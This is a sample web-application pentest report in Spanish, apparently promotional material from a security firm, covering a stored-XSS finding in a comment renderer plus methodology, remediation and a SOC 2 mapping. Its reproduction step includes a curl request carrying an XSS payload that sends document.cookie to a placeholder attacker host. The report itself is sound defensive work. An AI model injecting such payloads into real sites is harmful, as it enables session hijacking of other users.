Informe de Pentest

Proyecto de ejemplo | Example Co. (Aplicacion Web)

CLIENTE	Example Co. (ejemplo)
TIPO DE PROYECTO	Pentest autorizado en modalidad black-box y grey-box
SCOPE	Aplicacion web, rutas autenticadas y no autenticadas
TESTER	Scalarly Security
FECHA DEL INFORME	May 2026
VERSION DEL INFORME	1.0 | Ejemplo
CLASIFICACION	Confidencial | Solo destinatario

ACERCA DE ESTE DOCUMENTO

Este es un ejemplo del informe completo que Scalarly entrega cuando un cliente desbloquea el tier de pago del free-pentest. El contenido es ilustrativo. El finding usa un ejemplo de stored-XSS de manual OWASP; la metodologia y el mapping SOC 2 reflejan lo que entregamos en proyectos reales. Precios, nombres y referencias a la infraestructura son ficticios.

Resumen ejecutivo

Scalarly ejecuto un pentest autorizado sobre la aplicacion web de Example Co. en una ventana de 10 dias. El testing cubrio la superficie de usuario autenticada, la superficie marketing publica y el API tier que las soporta. Se confirmaron un finding Critical y dos High. Todos los findings tienen recetas de reproduccion y guia de remediacion en el apendice.

Recuento por severidad

CRITICAL	HIGH	MEDIUM	LOW	INFO
1	2	4	6	3

El finding Critical permite a un usuario autenticado inyectar JavaScript persistente en una superficie de comentarios compartida, llevando al robo de sesion para cualquier viewer del thread afectado, incluidos administradores. Notificamos al lead de ingenieria en cuatro horas desde la confirmacion.

Orden de prioridad recomendado

- Parchear el finding stored-XSS (SP-001) antes de cualquier nuevo release.
- Resolver el finding broken-access-control (SP-002) en el mismo sprint.
- Planificar el hardening del rate-limit (SP-003) en el sprint siguiente.

Scope y metodologia

El testing se realizo bajo autorizacion firmada entre Scalarly y Example Co., con fecha del primer dia de la ventana de engagement. La autorizacion definio los activos in-scope y out-of-scope, el rate maximo de peticiones y las reglas para testing no destructivo.

In scope

- https://app.example.com (superficie de usuario autenticada, todos los roles)
- https://api.example.com (REST API, v1 y v2)
- https://www.example.com (superficie marketing, incluidos endpoints de formularios)

Out of scope

- Dependencias SaaS de terceros (pagos, email, analytics).
- Testing de denial-of-service. Techo de rate fijado en 10 peticiones por segundo por host.
- Ingenieria social y acceso fisico.

Metodologia

La cobertura mapea sobre la OWASP Web Security Testing Guide (WSTG). Cada superficie in-scope se ejercito contra las secciones WSTG de input validation, authentication, authorization, session management, error handling, cryptography, configuration e identity management. Las probes automatizadas confirmaron la enumeracion de la superficie; la explotacion manual confirmo el impacto.

Finding SP-001 | Stored XSS en el renderer de comentarios

CRITICAL CVSS 9.0 CWE-79

ENDPOINT	POST /api/v1/comments	renderizado en /app/threads/{id}
ROLES AFECTADOS	Cada usuario autenticado con permiso de escritura de comentarios
FECHA DE DESCUBRIMIENTO	2026-05-26

Descripcion

El renderer de comentarios confia en el campo body como HTML cuando se muestra dentro de la vista del thread. Cualquier usuario autenticado puede enviar un payload que ejecuta JavaScript en el navegador de cada viewer posterior del thread, incluidos administradores. Combinado con que la cookie de sesion es legible desde JavaScript, esto escala trivialmente al robo de sesion.

Reproduccion

```
curl -X POST https://app.example.com/api/v1/comments \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
                              -d               '{"thread_id":42,"body":"<img               src=x
onerror=fetch(\"https://attacker.tld/?c=\"+document.cookie)>"}'
```

Luego abrir /app/threads/42 como cualquier usuario con permiso de lectura. El payload se dispara y exfiltra la cookie de sesion a attacker.tld.

Blast radius

- Cada viewer del thread afectado queda explotado en el render.
- Las sesiones admin son robables porque la cookie no es HttpOnly.
- Persistido en la base de datos, asi que el exploit sobrevive a deploys hasta que se elimine.

Remediacion

Sanitizar bodies de comentarios en el render, no en escritura. Tratar el campo body como no confiable en cada boundary de render. Usar un sanitizer mantenido en lugar de una allow-list hecha a mano.

```
// React render path
import DOMPurify from "dompurify";

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment.body) }} />

// Defense in depth: set the session cookie HttpOnly and SameSite=Lax
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
```

Verificacion

Tras la remediacion, reenviar el payload de proof-of-concept y confirmar que se renderiza como texto inerte. El re-test incluido ejecuta esta verificacion contra staging y produccion.

Apendice A | Mapping a controles SOC 2

El mapping a continuacion conecta cada finding con el criterio SOC 2 que toca. Los auditores pueden usar esta seccion como evidencia de que la aplicacion se testeo para los controles especificos sobre los que se va a atestar.

Finding	Control SOC 2	Trust criterion	Estado
SP-001	CC7.1	Completitud de logs y resistencia a manipulacion	Abierto
SP-002	CC6.1	Controles de acceso logico	Abierto
SP-003	CC4.1	Monitoring y alerting	Abierto
SP-004	CC7.4	Preparacion para incident response	Abierto
SP-005	CC6.7	Restriccion de acceso al sistema	Reconocido

Cobertura OWASP WSTG

- WSTG-INPV: input validation testeado en 14 endpoints.
- WSTG-ATHN, WSTG-ATHZ: authentication y authorization testeadas en 6 roles.
- WSTG-SESS: session management revisado incluidos atributos de cookie y rotacion.
- WSTG-ERRH, WSTG-CRYP: error handling y configuracion criptografica revisadas.
- WSTG-CONF, WSTG-IDNT: configuracion y superficie de identidad enumeradas.

Apendice B | Proximos pasos

Una vez que el equipo de ingenieria haya remediado los findings abiertos, Scalarly realiza un re-test de las superficies afectadas sin coste adicional en un plazo de 60 dias desde la entrega del informe. El re-test produce una atestacion de seguimiento valida para procurement y paquetes de auditoria.

Para cobertura OSINT de credenciales filtradas, activos cloud expuestos y repositorios de codigo publicos, ver el add-on OSINT en scalarly.com/pentest.

SOLICITA UN PENTEST GRATIS

Ejecutamos el test sin coste y compartimos el recuento por severidad. Si quieres el informe completo con recetas de reproduccion, guia de remediacion y evidencias SOC 2, lo desbloqueas por un precio fijo fijado antes de empezar. Solicita una call de scoping en scalarly.com/pentest.